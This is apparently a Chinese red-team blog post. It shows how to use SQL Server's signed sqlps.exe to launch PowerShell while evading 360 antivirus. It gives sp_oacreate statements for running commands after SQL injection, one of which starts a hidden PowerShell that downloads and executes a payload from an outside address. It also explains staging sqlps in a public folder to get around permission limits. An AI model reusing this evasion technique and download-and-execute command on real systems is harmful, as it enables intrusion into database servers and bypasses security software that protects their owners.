放弃 powershell? 启动 sqlps!| 红队攻防

2022-03-29 09:10:45 浏览数 (1)

0x00 前言

sql server 默认安装后,会发现有一个 sqlps.exe:

此文件本身自带微软签名:

sqlps的功能,竟然是!启动 powershell???

而且由于此文件无依赖,因此可以单独取出在无sql server机器上运行

0x01 sqlps 上线

之前使用 powershell 上线,360 必拦截:

使用sqlps,360无反应且能正常上线:

0x02 sp_oacreate

sql server 注入后提权的方法比较多,但是被杀软拦截的也比较厉害,xp_cmdshell会被拦,sp_oacreate也会被拦。

代码语言:javascript复制
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe'
代码语言:javascript复制
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:UsersPublicSQLPS.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.80.138:80/a''))"'

成功上线,弊端是 sql server 默认为service权限,因此对很多目录包括sql server 默认目录都无法执行该程序,因此要提前上传sqlps至C:UsersPublic目录。

0 人点赞